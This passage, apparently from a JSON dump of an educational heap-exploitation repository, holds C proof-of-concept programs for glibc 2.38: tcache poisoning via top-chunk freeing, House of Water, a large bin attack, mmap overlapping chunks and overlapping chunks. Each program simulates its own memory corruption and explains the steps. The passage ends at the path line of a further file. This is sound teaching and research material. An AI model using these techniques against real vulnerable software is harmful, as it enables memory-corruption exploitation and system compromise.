printf(\"target tcache top size = 0x%lx\\n\", CHUNK_HDR_SZ + MALLOC_ALIGN + CHUNK_SIZE_1);\n\n  // target is malloc aligned 0x10\n  target = ((size_t) win + (MALLOC_ALIGN - 1)) & MALLOC_MASK;\n\n  // probe the current size of the top_chunk,\n  // can be skipped if it is already known or predictable\n  heap_ptr = malloc(PROBE);\n  top_size = heap_ptr[(PROBE / SIZE_SZ) + 1];\n  printf(\"first top size = 0x%lx\\n\", top_size);\n\n  // calculate size_2\n\n  size_2 = top_size - CHUNK_HDR_SZ - (2 * MALLOC_ALIGN) - CHUNK_SIZE_1;\n  size_2 &= PAGE_MASK;\n  size_2 &= MALLOC_MASK;\n\n\n  printf(\"size_2 = 0x%lx\\n\", size_2);\n\n  // first allocation \n  heap_ptr = malloc(size_2);\n\n  // use BOF or OOB to corrupt the top_chunk\n  top_size_ptr = &heap_ptr[(size_2 / SIZE_SZ) - 1 + (MALLOC_ALIGN / SIZE_SZ)];\n\n  top_size = *top_size_ptr;\n\n  printf(\"first top size = 0x%lx\\n\", top_size);\n\n  // make sure corrupt top size is page aligned, generally 0x1000\n  // https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2599\n  new_top_size = top_size & PAGE_MASK;\n  *top_size_ptr = new_top_size;\n  printf(\"new first top size = 0x%lx\\n\", new_top_size);\n\n  // remove fencepost from top_chunk, to get size that will be freed\n  // https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2895\n  freed_top_size = (new_top_size - FENCEPOST) & MALLOC_MASK;\n  assert(freed_top_size == CHUNK_SIZE_1);\n\n  /*\n   * malloc (larger than available_top_size), to free previous top_chunk using _int_free.\n   * This happens inside sysmalloc, where the top_chunk gets freed if it can't be merged\n   * https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2913\n   * we prevent the top_chunk from being merged by lowering its size\n   * we can also circumvent corruption checks by keeping PAGE_MASK bits unchanged\n   */\n\n  printf(\"size_3 = 0x%lx\\n\", SIZE_3);\n  heap_ptr = malloc(SIZE_3);\n\n  top_size = heap_ptr[(SIZE_3 / SIZE_SZ) + 1];\n  printf(\"current top size = 0x%lx\\n\", top_size);\n\n  // make sure corrupt top size is page aligned, generally 0x1000\n  new_top_size = top_size & PAGE_MASK;\n  heap_ptr[(SIZE_3 / SIZE_SZ) + 1] = new_top_size;\n  printf(\"new top size = 0x%lx\\n\", new_top_size);\n\n  // remove fencepost from top_chunk, to get size that will be freed\n  freed_top_size = (new_top_size - FENCEPOST) & MALLOC_MASK;\n  printf(\"freed top_chunk size = 0x%lx\\n\", freed_top_size);\n\n  assert(freed_top_size == CHUNK_SIZE_1);\n\n  // this will be our vuln_tcache for tcache poisoning\n  vuln_tcache = (size_t) &heap_ptr[(SIZE_3 / SIZE_SZ) + 2];\n\n  printf(\"tcache next ptr: 0x%lx\\n\", vuln_tcache);\n\n  // free the previous top_chunk\n  heap_ptr = malloc(SIZE_3);\n\n  // corrupt next ptr into pointing to target\n  // use a heap leak to bypass safe linking (GLIBC >= 2.32)\n  heap_ptr[(vuln_tcache - (size_t) heap_ptr) / SIZE_SZ] = target ^ (vuln_tcache >> 12);\n\n  // allocate first tcache (corrupt next tcache bin)\n  heap_ptr = malloc(SIZE_1);\n\n  // get arbitrary ptr for reads or writes\n  heap_ptr = malloc(SIZE_1);\n\n  // proof that heap_ptr now points to the same string as target\n  assert((size_t) heap_ptr == target);\n  puts((char *) heap_ptr);\n}\n"
  },
  {
    "path": "glibc_2.38/house_of_water.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\n/* \n * House of Water is a technique for converting a Use-After-Free (UAF) vulnerability into a tcache\n * metadata control primitive.\n *\n * Modified House of Water: This technique no longer requires 4-bit bruteforce, even if you cannot increment integers.\n * There is no need to forge a size field inside the tcache structure, as the fake chunk is linked through a small bin.\n * An article explaining this newer variant and its differences from the original House of Water can be found at:\n * https://github.com/4f3rg4n/CTF-Events-Writeups/blob/main/Potluck-CTF-2023/House_Of_Water_Smallbin_Variant.md\n *\n * The technique starts by allocating the 'relative chunk' immediately after tcache metadata,\n * sharing the same ASLR-partially-controlled second nibble (which is 2) as the target fake chunk location.\n * \n * Then it crafts fake tcache entries in the 0x320 & 0x330 bins using two other controlled chunks matching the 'relative chunk' size,\n * then frees all three chunks into the unsorted bin while keeping the 'relative chunk' centered.\n * A large allocation sorts them into the same small bin linked list.\n * \n * UAF overwrites the LSB of the 'first chunk' fd and the 'end chunk' bk pointers with 0x00, redirecting both to the fake tcache chunk on the tcache.\n * Finally, it drains the tcache; the next allocation returns the 'first chunk' from the small bin and moves remaining chunks into tcache,\n * then the second allocation returns the 'end chunk', and the final allocation returns the fake chunk for `tcache_perthread_struct` control.\n *\n * Technique / house by @udp_ctf - Water Paddler / Blue Water \n * Small-bin variant modified by @4f3rg4n - CyberEGGs.\n */\n\n\n\nvoid dump_memory(void *addr, unsigned long count) {\n\tfor (unsigned int i = 0; i < count*16; i += 16) {\n\t\tprintf(\"0x%016lx\\t\\t0x%016lx  0x%016lx\\n\", (unsigned long)(addr+i), *(long *)(addr+i), *(long *)(addr+i+0x8));\n\t}\t\n}\n\nint main(void) {\n\t// Dummy variable\n\tvoid *_ = NULL;\n\n\t// Prevent _IO_FILE from buffering in the heap\n\tsetbuf(stdin, NULL);\n\tsetbuf(stdout, NULL);\n\tsetbuf(stderr, NULL);\n\n\n\tputs(\"\\n\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\t|           STEP 1           |\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\n\");\n\n\t// Step 1: Create the unsorted bins linked list, used for hijacking at a later time\n\n\tputs(\"Now, allocate three 0x90 chunks with guard chunks in between. This prevents\");\n\tputs(\"chunk-consolidation and sets our target for the house of water attack.\");\n\tputs(\"\\t- chunks:\");\n\n\tvoid *relative_chunk = malloc(0x88);\n\tprintf(\"\\t\\t* relative_chunk\\t@ %p\\n\", relative_chunk);\n\t_ = malloc(0x18); // Guard chunk\n\t\n\tputs(\"\\t\\t* /guard/\");\n\n\tvoid *small_start = malloc(0x88);\n\tprintf(\"\\t\\t* small_start\\t@ %p\\n\", small_start);\n\t_ = malloc(0x18); // Guard chunk\n\t\n\tputs(\"\\t\\t* /guard/\");\n\n\tvoid *small_end = malloc(0x88);\n\tprintf(\"\\t\\t* small_end\\t@ %p\\n\", small_end);\n\t_ = malloc(0x18); // Guard chunk\n\t\n\tputs(\"\\t\\t* /guard/\");\n\t\n\tputs(\"\");\n\n\n\tputs(\"\\n\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\t|           STEP 2           |\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\n\");\n\n\t// Step 2: Fill up t-cache for 0x90 size class\n\t\n\t// This is just to make a pointer to the t-cache metadata for later.\n\tvoid *metadata = (void *)((long)(relative_chunk) & ~(0xfff));\n\n\t// Make allocations to free such that we can exhaust the 0x90 t-cache\n\tputs(\"Allocate 7 0x88 chunks needed to fill out the 0x90 t-cache at a later time\");\n\tvoid *x[7];\n\tfor (int i = 0; i < 7; i++) {\n\t\tx[i] = malloc(0x88);\n\t}\n\n\tputs(\"\");\n\n\t// Free t-cache entries\n\tputs(\"Fill up the 0x90 t-cache with the chunks allocated from earlier by free'ing them.\");\n\tputs(\"By doing so, the next time a 0x88 chunk is free'd, it ends up in the unsorted-bin\");\n\tputs(\"instead of the t-cache or small-bins.\");\n\tfor (int i = 0; i < 7; i++) {\n\t\tfree(x[i]);\n\t}\n\n\t\n\tputs(\"\\n\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\t|           STEP 3           |\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\n\");\n\n\t// Step 3: Create a 0x320 and a 0x330 t-cache entry which overlaps small_start and small_end.\n\t// By doing this, we can blindly fake a FWD and BCK pointer in the t-cache metadata!\n\t\t\n\tputs(\"Here comes the trickiest part!\\n\");\n\t\n\tputs(\"We essentially want a pointer in the 0x320 t-cache metadata to act as a FWD\\n\");\n\tputs(\"pointer and a pointer in the 0x330 t-cache to act as a BCK pointer.\");\n\tputs(\"We want it such that it points to the chunk header of our small bin entries,\\n\");\n\tputs(\"and not at the chunk itself which is common for t-cache.\\n\");\n\n\tputs(\"Using a technique like house of botcake or a stronger arb-free primitive, free a\");\n\tputs(\"chunk such that it overlaps with the header of unsorted_start and unsorted_end.\");\n\tputs(\"\");\n\n\tputs(\"It should look like the following:\");\n\tputs(\"\");\n\t\n\tputs(\"small_start:\");\n\tprintf(\"0x%016lx\\t\\t0x%016lx  0x%016lx  <-- tcachebins[0x330][0/1], unsortedbin[all][0]\\n\", (unsigned long)(small_start-0x10), *(long *)(small_start-0x10), *(long *)(small_start-0x8));\n\tdump_memory(small_start, 2);\n\tputs(\"\");\n\n\tputs(\"small_end:\");\n\tprintf(\"0x%016lx\\t\\t0x%016lx  0x%016lx  <-- tcachebins[0x320][0/1], unsortedbin[all][2]\\n\", (unsigned long)(small_end-0x10), *(long *)(small_end-0x10), *(long *)(small_end-0x8));\n\tdump_memory(small_end, 2);\n\n\tputs(\"\\n\");\n\tputs(\"If you want to see a blind example using only double free, see the following chal: \");\n\tputs(\"https://github.com/UDPctf/CTF-challenges/tree/main/Potluck-CTF-2023/Tamagoyaki\");\n\tputs(\"\");\n\tputs(\"Note: See this if you want to see the same example but with the modified House of Water version: \");\n\tputs(\"https://github.com/4f3rg4n/CTF-Events-Writeups/blob/main/Potluck-CTF-2023/Tamagoyaki.md\");\n\tputs(\"\\n\");\n\n\tputs(\"For the sake of simplicity, let's just simulate an arbitrary free primitive.\");\n\tputs(\"\\n\");\n\t\n\t\n\tputs(\"--------------------\");\n\tputs(\"|      PART 1      |\");\n\tputs(\"--------------------\");\n\tputs(\"\\n\");\n\n\t// Step 3 part 1:\n\tputs(\"Write 0x331 above small_start to enable its free'ing into the 0x330 t-cache.\");\n\tprintf(\"\\t*%p-0x18 = 0x331\\n\", small_start);\n\t*(long*)(small_start-0x18) = 0x331;\n\tputs(\"\");\n\n\tputs(\"This creates a 0x331 entry just above small_start, which looks like the following:\");\n\tdump_memory(small_start-0x20, 3);\n\tputs(\"\");\n\n\tprintf(\"Free the faked 0x331 chunk @ %p\\n\", small_start-0x10);\n\tfree(small_start-0x10); // Create a fake FWD\n\tputs(\"\");\n\t\n\tputs(\"Finally, because of the meta-data created by free'ing the 0x331 chunk, we need to\");\n\tputs(\"restore the original header of the small_start chunk by restoring the 0x91 header:\");\n\tprintf(\"\\t*%p-0x8 = 0x91\\n\", small_start);\n\t*(long*)(small_start-0x8) = 0x91;\n\tputs(\"\");\n\n\tputs(\"Now, let's do the same for small_end except using a 0x321 faked chunk.\");\n\tputs(\"\");\n\n\n\tputs(\"--------------------\");\n\tputs(\"|      PART 2      |\");\n\tputs(\"--------------------\");\n\tputs(\"\\n\");\n\n\t// Step 3 part 2:\n\tputs(\"Write 0x321 above small_end, such that it can be free'd into the 0x320 t-cache:\");\n\tprintf(\"\\t*%p-0x18 = 0x321\\n\", small_end);\n\t*(long*)(small_end-0x18) = 0x321;\n\tputs(\"\");\n\t\n\tputs(\"This creates a 0x321 just above small_end, which looks like the following:\");\n\tdump_memory(small_end-0x20, 3);\n\tputs(\"\");\n\t\n\tprintf(\"Free the faked 0x321 chunk @ %p\\n\", small_end-0x10);\n\tfree(small_end-0x10); // Create a fake BCK\n\tputs(\"\");\n\t\n\tputs(\"restore the original header of the small_end chunk by restoring the 0x91 header:\");\n\tprintf(\"\\t*%p-0x8 = 0x91\\n\", small_end);\n\t*(long*)(small_end-0x8) = 0x91;\n\tputs(\"\");\n\n\n\tputs(\"\\n\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\t|           STEP 4           |\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\n\");\n\n\t// Step 4: Create the small bin list by freeing small_start, relative_chunk, small_end into the unsorted bin,\n\t// then allocate large chunk that will sort the unsorted bin into small bins.\n\n\tputs(\"Now, let's free the the chunks into the unsorted bin.\");\n\t\n\tputs(\"\\t> free(small_end);\");\n\tfree(small_end);\n\t\n\tputs(\"\\t> free(relative_chunk);\");\n\tfree(relative_chunk);\n\t\n\tputs(\"\\t> free(small_start);\");\n\tfree(small_start);\n\t\n\tputs(\"\\n\");\n\n\tputs(\"Now allocate a large chunk to trigger the sorting of the unsorted bin entries into the small bin.\");\n\t_ = malloc(0x700);\n\n\tputs(\"\");\n\n\t// Show the setup as is\t\n\t\n\tputs(\"At this point, our heap looks something like this:\");\n\t\n\tprintf(\"\\t- Small bin:\\n\");\n\tputs(\"\\t\\tsmall_start <--> relative_chunk <--> small_end\");\n\tprintf(\"\\t\\t%p <--> %p <--> %p\\n\", small_start-0x10, relative_chunk-0x10, small_end-0x10);\n\t\n\tprintf(\"\\t- 0x320 t-cache:\\n\");\n\tprintf(\"\\t\\t* 0x%lx\\n\", *(long*)(metadata+0x390));\n\tprintf(\"\\t- 0x330 t-cache\\n\");\n\tprintf(\"\\t\\t* 0x%lx\\n\", *(long*)(metadata+0x398));\n\tputs(\"\");\n\n\tputs(\"The fake chunk in the t-cache will look like the following:\");\n\tdump_memory(metadata+0x370, 4);\n\tputs(\"\");\n\n\tputs(\"We can now observe that the 0x330 t-cache points to small_start and 0x320 t-cache points to \");\n\tputs(\"small_end, which is what we need to fake a small-bin entry and hijack relative_chunk.\");\n\n\n\tputs(\"\\n\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\t|           STEP 5           |\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\n\");\n\n\t// Step 5: Overwrite LSB of small_start and small_end to point to the fake t-cache metadata chunk\n\tputs(\"Finally, all there is left to do is simply overwrite the LSB of small_start FWD-\");\n\tputs(\"and BCK pointer for small_end to point to the faked t-cache metadata chunk.\");\n\tputs(\"\");\n\n\t// Note: we simply overwrite the LSBs of small_start and small_end with a single NULL byte instead of 0x90;\n\t// As a result, they point to our fake chunk in the tcache, which shares the same second-byte ASLR nibble (0x2) as the relative_chunk.\n\n\t/* VULNERABILITY */\n\tprintf(\"\\t- small_start:\\n\");\n\tprintf(\"\\t\\t*%p = %p\\n\", small_start, metadata+0x200);\n\t*(unsigned long *)small_start = (unsigned long)(metadata+0x200);\n\tputs(\"\");\n\n\tprintf(\"\\t- small_end:\\n\");\n\tprintf(\"\\t\\t*%p = %p\\n\", small_end, metadata+0x200);\n\t*(unsigned long *)(small_end+0x8) = (unsigned long)(metadata+0x200);\n\tputs(\"\");\n\t/* VULNERABILITY */\n\n\tputs(\"At this point, the small bin will look like the following:\");\n\tputs(\"\");\n\n\tputs(\"\\t- small bin:\");\n\tprintf(\"\\t\\t small_start <--> metadata chunk <--> small_end\\n\");\n\tprintf(\"\\t\\t %p\\t     %p      %p\\n\", small_start, metadata+0x200, small_end);\n\n\n\tputs(\"\\n\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\t|           STEP 6           |\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\n\");\n\n\t// Step 6: allocate to win\n\tputs(\"Now, simply just allocate our fake chunk which is placed inside the small bin\");\n\tputs(\"But first, we need to clean the t-cache for 0x90 size class to force malloc to\");\n\tputs(\"service the allocation from the small bin.\");\n\n\tfor(int i = 7; i > 0; i--)\n\t\t_ = malloc(0x88);\n\n\t// Allocating small_start, and small_end again to remove them from the 0x90 t-cache bin\n\t_ = malloc(0x88);\n\t_ = malloc(0x88);\n\n\n\t// Next allocation *could* be our faked chunk!\n\tvoid *meta_chunk = malloc(0x88);\n\n\tprintf(\"\\t\\tNew chunk\\t @ %p\\n\", meta_chunk);\n\tprintf(\"\\t\\tt-cache metadata @ %p\\n\", metadata);\n\tassert(meta_chunk == (metadata+0x210));\n\n\tputs(\"\");\n}\n"
  },
  {
    "path": "glibc_2.38/large_bin_attack.c",
    "content": "#include<stdio.h>\n#include<stdlib.h>\n#include<assert.h>\n\n/*\n\nA revisit to large bin attack for after glibc2.30\n\nRelevant code snippet :\n\n\tif ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)){\n\t\tfwd = bck;\n\t\tbck = bck->bk;\n\t\tvictim->fd_nextsize = fwd->fd;\n\t\tvictim->bk_nextsize = fwd->fd->bk_nextsize;\n\t\tfwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;\n\t}\n\n\n*/\n\nint main(){\n  /*Disable IO buffering to prevent stream from interfering with heap*/\n  setvbuf(stdin,NULL,_IONBF,0);\n  setvbuf(stdout,NULL,_IONBF,0);\n  setvbuf(stderr,NULL,_IONBF,0);\n\n  printf(\"\\n\\n\");\n  printf(\"Since glibc2.30, two new checks have been enforced on large bin chunk insertion\\n\\n\");\n  printf(\"Check 1 : \\n\");\n  printf(\">    if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))\\n\");\n  printf(\">        malloc_printerr (\\\"malloc(): largebin double linked list corrupted (nextsize)\\\");\\n\");\n  printf(\"Check 2 : \\n\");\n  printf(\">    if (bck->fd != fwd)\\n\");\n  printf(\">        malloc_printerr (\\\"malloc(): largebin double linked list corrupted (bk)\\\");\\n\\n\");\n  printf(\"This prevents the traditional large bin attack\\n\");\n  printf(\"However, there is still one possible path to trigger large bin attack. The PoC is shown below : \\n\\n\");\n  \n  printf(\"====================================================================\\n\\n\");\n\n  size_t target = 0;\n  printf(\"Here is the target we want to overwrite (%p) : %lu\\n\\n\",&target,target);\n  size_t *p1 = malloc(0x428);\n  printf(\"First, we allocate a large chunk [p1] (%p)\\n\",p1-2);\n  size_t *g1 = malloc(0x18);\n  printf(\"And another chunk to prevent consolidate\\n\");\n\n  printf(\"\\n\");\n\n  size_t *p2 = malloc(0x418);\n  printf(\"We also allocate a second large chunk [p2]  (%p).\\n\",p2-2);\n  printf(\"This chunk should be smaller than [p1] and belong to the same large bin.\\n\");\n  size_t *g2 = malloc(0x18);\n  printf(\"Once again, allocate a guard chunk to prevent consolidate\\n\");\n\n  printf(\"\\n\");\n\n  free(p1);\n  printf(\"Free the larger of the two --> [p1] (%p)\\n\",p1-2);\n  size_t *g3 = malloc(0x438);\n  printf(\"Allocate a chunk larger than [p1] to insert [p1] into large bin\\n\");\n\n  printf(\"\\n\");\n\n  free(p2);\n  printf(\"Free the smaller of the two --> [p2] (%p)\\n\",p2-2);\n  printf(\"At this point, we have one chunk in large bin [p1] (%p),\\n\",p1-2);\n  printf(\"               and one chunk in unsorted bin [p2] (%p)\\n\",p2-2);\n\n  printf(\"\\n\");\n\n  p1[3] = (size_t)((&target)-4);\n  printf(\"Now modify the p1->bk_nextsize to [target-0x20] (%p)\\n\",(&target)-4);\n\n  printf(\"\\n\");\n\n  size_t *g4 = malloc(0x438);\n  printf(\"Finally, allocate another chunk larger than [p2] (%p) to place [p2] (%p) into large bin\\n\", p2-2, p2-2);\n  printf(\"Since glibc does not check chunk->bk_nextsize if the new inserted chunk is smaller than smallest,\\n\");\n  printf(\"  the modified p1->bk_nextsize does not trigger any error\\n\");\n  printf(\"Upon inserting [p2] (%p) into largebin, [p1](%p)->bk_nextsize->fd_nextsize is overwritten to address of [p2] (%p)\\n\", p2-2, p1-2, p2-2);\n\n  printf(\"\\n\");\n\n  printf(\"In our case here, target is now overwritten to address of [p2] (%p), [target] (%p)\\n\", p2-2, (void *)target);\n  printf(\"Target (%p) : %p\\n\",&target,(size_t*)target);\n\n  printf(\"\\n\");\n  printf(\"====================================================================\\n\\n\");\n\n  assert((size_t)(p2-2) == target);\n\n  return 0;\n}\n"
  },
  {
    "path": "glibc_2.38/mmap_overlapping_chunks.c",
    "content": "#include <stdlib.h>\n#include <stdio.h>\n#include <assert.h>\n#include <unistd.h>\n\n/*\nTechnique should work on all versions of GLibC\nCompile: `gcc mmap_overlapping_chunks.c -o mmap_overlapping_chunks -g`\n\nPOC written by POC written by Maxwell Dulin (Strikeout) \n*/\nint main()\n{\n\t/*\n\tA primer on Mmap chunks in GLibC\n\t==================================\n\tIn GLibC, there is a point where an allocation is so large that malloc\n\tdecides that we need a seperate section of memory for it, instead \n\tof allocating it on the normal heap. This is determined by the mmap_threshold var.\n\tInstead of the normal logic for getting a chunk, the system call *Mmap* is \n\tused. This allocates a section of virtual memory and gives it back to the user. \n\n\tSimilarly, the freeing process is going to be different. Instead \n\tof a free chunk being given back to a bin or to the rest of the heap,\n\tanother syscall is used: *Munmap*. This takes in a pointer of a previously \n\tallocated Mmap chunk and releases it back to the kernel. \n\n\tMmap chunks have special bit set on the size metadata: the second bit. If this \n\tbit is set, then the chunk was allocated as an Mmap chunk. \n\n\tMmap chunks have a prev_size and a size. The *size* represents the current \n\tsize of the chunk. The *prev_size* of a chunk represents the left over space\n\tfrom the size of the Mmap chunk (not the chunks directly belows size). \n\tHowever, the fd and bk pointers are not used, as Mmap chunks do not go back \n\tinto bins, as most heap chunks in GLibC Malloc do. Upon freeing, the size of \n\tthe chunk must be page-aligned.\n\n\tThe POC below is essentially an overlapping chunk attack but on mmap chunks. \n\tThis is very similar to https://github.com/shellphish/how2heap/blob/master/glibc_2.26/overlapping_chunks.c. \n\tThe main difference is that mmapped chunks have special properties and are \n\thandled in different ways, creating different attack scenarios than normal \n\toverlapping chunk attacks. There are other things that can be done, \n\tsuch as munmapping system libraries, the heap itself and other things.\n\tThis is meant to be a simple proof of concept to demonstrate the general \n\tway to perform an attack on an mmap chunk.\n\n\tFor more information on mmap chunks in GLibC, read this post: \n\thttp://tukan.farm/2016/07/27/munmap-madness/\n\t*/\n\n\tint* ptr1 = malloc(0x10); \n\n\tprintf(\"This is performing an overlapping chunk attack but on extremely large chunks (mmap chunks).\\n\");\n\tprintf(\"Extremely large chunks are special because they are allocated in their own mmaped section\\n\");\n\tprintf(\"of memory, instead of being put onto the normal heap.\\n\");\n\tputs(\"=======================================================\\n\");\n\tprintf(\"Allocating three extremely large heap chunks of size 0x100000 \\n\\n\");\n\t\t\n\tlong long* top_ptr = malloc(0x100000);\n\tprintf(\"The first mmap chunk goes directly above LibC: %p\\n\",top_ptr);\n\n\t// After this, all chunks are allocated downwards in memory towards the heap.\n\tlong long* mmap_chunk_2 = malloc(0x100000);\n\tprintf(\"The second mmap chunk goes below LibC: %p\\n\", mmap_chunk_2);\n\n\tlong long* mmap_chunk_3 = malloc(0x100000);\n\tprintf(\"The third mmap chunk goes below the second mmap chunk: %p\\n\", mmap_chunk_3);\n\n\tprintf(\"\\nCurrent System Memory Layout \\n\" \\\n\"================================================\\n\" \\\n\"running program\\n\" \\\n\"heap\\n\" \\\n\"....\\n\" \\\n\"third mmap chunk\\n\" \\\n\"second mmap chunk\\n\" \\\n\"LibC\\n\" \\\n\"....\\n\" \\\n\"ld\\n\" \\\n\"first mmap chunk\\n\"\n\"===============================================\\n\\n\" \\\n);\n\t\n\tprintf(\"Prev Size of third mmap chunk: 0x%llx\\n\", mmap_chunk_3[-2]);\n\tprintf(\"Size of third mmap chunk: 0x%llx\\n\\n\", mmap_chunk_3[-1]);\n\n\tprintf(\"Change the size of the third mmap chunk to overlap with the second mmap chunk\\n\");\t\n\tprintf(\"This will cause both chunks to be Munmapped and given back to the system\\n\");\n\tprintf(\"This is where the vulnerability occurs; corrupting the size or prev_size of a chunk\\n\");\n\n\t// Vulnerability!!! This could be triggered by an improper index or a buffer overflow from a chunk further below.\n\t// Additionally, this same attack can be used with the prev_size instead of the size.\n\tmmap_chunk_3[-1] = (0xFFFFFFFFFD & mmap_chunk_3[-1]) + (0xFFFFFFFFFD & mmap_chunk_2[-1]) | 2;\n\tprintf(\"New size of third mmap chunk: 0x%llx\\n\", mmap_chunk_3[-1]);\n\tprintf(\"Free the third mmap chunk, which munmaps the second and third chunks\\n\\n\");\n\n\t/*\n\tThis next call to free is actually just going to call munmap on the pointer we are passing it.\n\tThe source code for this can be found at https://elixir.bootlin.com/glibc/glibc-2.26/source/malloc/malloc.c#L2845\n\n\tWith normal frees the data is still writable and readable (which creates a use after free on \n\tthe chunk). However, when a chunk is munmapped, the memory is given back to the kernel. If this\n\tdata is read or written to, the program crashes.\n\t\n\tBecause of this added restriction, the main goal is to get the memory back from the system\n\tto have two pointers assigned to the same location.\n\t*/\n\t// Munmaps both the second and third pointers\n\tfree(mmap_chunk_3); \n\n\t/* \n\tWould crash, if on the following:\n\tmmap_chunk_2[0] = 0xdeadbeef;\n\tThis is because the memory would not be allocated to the current program.\n\t*/\n\n\t/*\n\tAllocate a very large chunk with malloc. This needs to be larger than \n\tthe previously freed chunk because the mmapthreshold has increased to 0x202000.\n\tIf the allocation is not larger than the size of the largest freed mmap \n\tchunk then the allocation will happen in the normal section of heap memory.\n\t*/\t\n\tprintf(\"Get a very large chunk from malloc to get mmapped chunk\\n\");\n\tprintf(\"This should overlap over the previously munmapped/freed chunks\\n\");\n\tlong long* overlapping_chunk = malloc(0x300000);\n\tprintf(\"Overlapped chunk Ptr: %p\\n\", overlapping_chunk);\n\tprintf(\"Overlapped chunk Ptr Size: 0x%llx\\n\", overlapping_chunk[-1]);\n\n\t// Gets the distance between the two pointers.\n\tint distance = mmap_chunk_2 - overlapping_chunk;\n\tprintf(\"Distance between new chunk and the second mmap chunk (which was munmapped): 0x%x\\n\", distance);\n\tprintf(\"Value of index 0 of mmap chunk 2 prior to write: %llx\\n\", mmap_chunk_2[0]);\n\t\n\t// Set the value of the overlapped chunk.\n\tprintf(\"Setting the value of the overlapped chunk\\n\");\n\toverlapping_chunk[distance] = 0x1122334455667788;\n\n\t// Show that the pointer has been written to.\n\tprintf(\"Second chunk value (after write): 0x%llx\\n\", mmap_chunk_2[0]);\n\tprintf(\"Overlapped chunk value: 0x%llx\\n\\n\", overlapping_chunk[distance]);\n\tprintf(\"Boom! The new chunk has been overlapped with a previous mmaped chunk\\n\");\n\tassert(mmap_chunk_2[0] == overlapping_chunk[distance]);\n\n\t_exit(0); // exit early just in case we corrupted some libraries\n}\n"
  },
  {
    "path": "glibc_2.38/overlapping_chunks.c",
    "content": "/*\n\n A simple tale of overlapping chunk.\n This technique is taken from\n http://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf\n\n*/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdint.h>\n#include <assert.h>\n\nint main(int argc , char* argv[])\n{\n\tsetbuf(stdout, NULL);\n\n\tlong *p1,*p2,*p3,*p4;\n\tprintf(\"\\nThis is another simple chunks overlapping problem\\n\");\n\tprintf(\"The previous technique is killed by patch: https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c\\n\"\n\t\t   \"which ensures the next chunk of an unsortedbin must have prev_inuse bit unset\\n\"\n\t\t   \"and the prev_size of it must match the unsortedbin's size\\n\"\n\t\t   \"This new poc uses the same primitive as the previous one. Theoretically speaking, they are the same powerful.\\n\\n\");\n\n\tprintf(\"Let's start to allocate 4 chunks on the heap\\n\");\n\n\tp1 = malloc(0x80 - 8);\n\tp2 = malloc(0x500 - 8);\n\tp3 = malloc(0x80 - 8);\n\n\tprintf(\"The 3 chunks have been allocated here:\\np1=%p\\np2=%p\\np3=%p\\n\", p1, p2, p3);\n\n\tmemset(p1, '1', 0x80 - 8);\n\tmemset(p2, '2', 0x500 - 8);\n\tmemset(p3, '3', 0x80 - 8);\n\n\tprintf(\"Now let's simulate an overflow that can overwrite the size of the\\nchunk freed p2.\\n\");\n\tint evil_chunk_size = 0x581;\n\tint evil_region_size = 0x580 - 8;\n\tprintf(\"We are going to set the size of chunk p2 to to %d, which gives us\\na region size of %d\\n\",\n\t\t evil_chunk_size, evil_region_size);\n\n\t/* VULNERABILITY */\n\t*(p2-1) = evil_chunk_size; // we are overwriting the \"size\" field of chunk p2\n\t/* VULNERABILITY */\n\n\tprintf(\"\\nNow let's free the chunk p2\\n\");\n\tfree(p2);\n\tprintf(\"The chunk p2 is now in the unsorted bin ready to serve possible\\nnew malloc() of its size\\n\");\n\n\tprintf(\"\\nNow let's allocate another chunk with a size equal to the data\\n\"\n\t       \"size of the chunk p2 injected size\\n\");\n\tprintf(\"This malloc will be served from the previously freed chunk that\\n\"\n\t       \"is parked in the unsorted bin which size has been modified by us\\n\");\n\tp4 = malloc(evil_region_size);\n\n\tprintf(\"\\np4 has been allocated at %p and ends at %p\\n\", (char *)p4, (char *)p4+evil_region_size);\n\tprintf(\"p3 starts at %p and ends at %p\\n\", (char *)p3, (char *)p3+0x80-8);\n\tprintf(\"p4 should overlap with p3, in this case p4 includes all p3.\\n\");\n\n\tprintf(\"\\nNow everything copied inside chunk p4 can overwrites data on\\nchunk p3,\"\n\t\t   \" and data written to chunk p3 can overwrite data\\nstored in the p4 chunk.\\n\\n\");\n\n\tprintf(\"Let's run through an example. Right now, we have:\\n\");\n\tprintf(\"p4 = %s\\n\", (char *)p4);\n\tprintf(\"p3 = %s\\n\", (char *)p3);\n\n\tprintf(\"\\nIf we memset(p4, '4', %d), we have:\\n\", evil_region_size);\n\tmemset(p4, '4', evil_region_size);\n\tprintf(\"p4 = %s\\n\", (char *)p4);\n\tprintf(\"p3 = %s\\n\", (char *)p3);\n\n\tprintf(\"\\nAnd if we then memset(p3, '3', 80), we have:\\n\");\n\tmemset(p3, '3', 80);\n\tprintf(\"p4 = %s\\n\", (char *)p4);\n\tprintf(\"p3 = %s\\n\", (char *)p3);\n\n\tassert(strstr((char *)p4, (char *)p3));\n}\n\n\n"
  },
  {
    "path": "glibc_2.38/poison_null_byte.c",
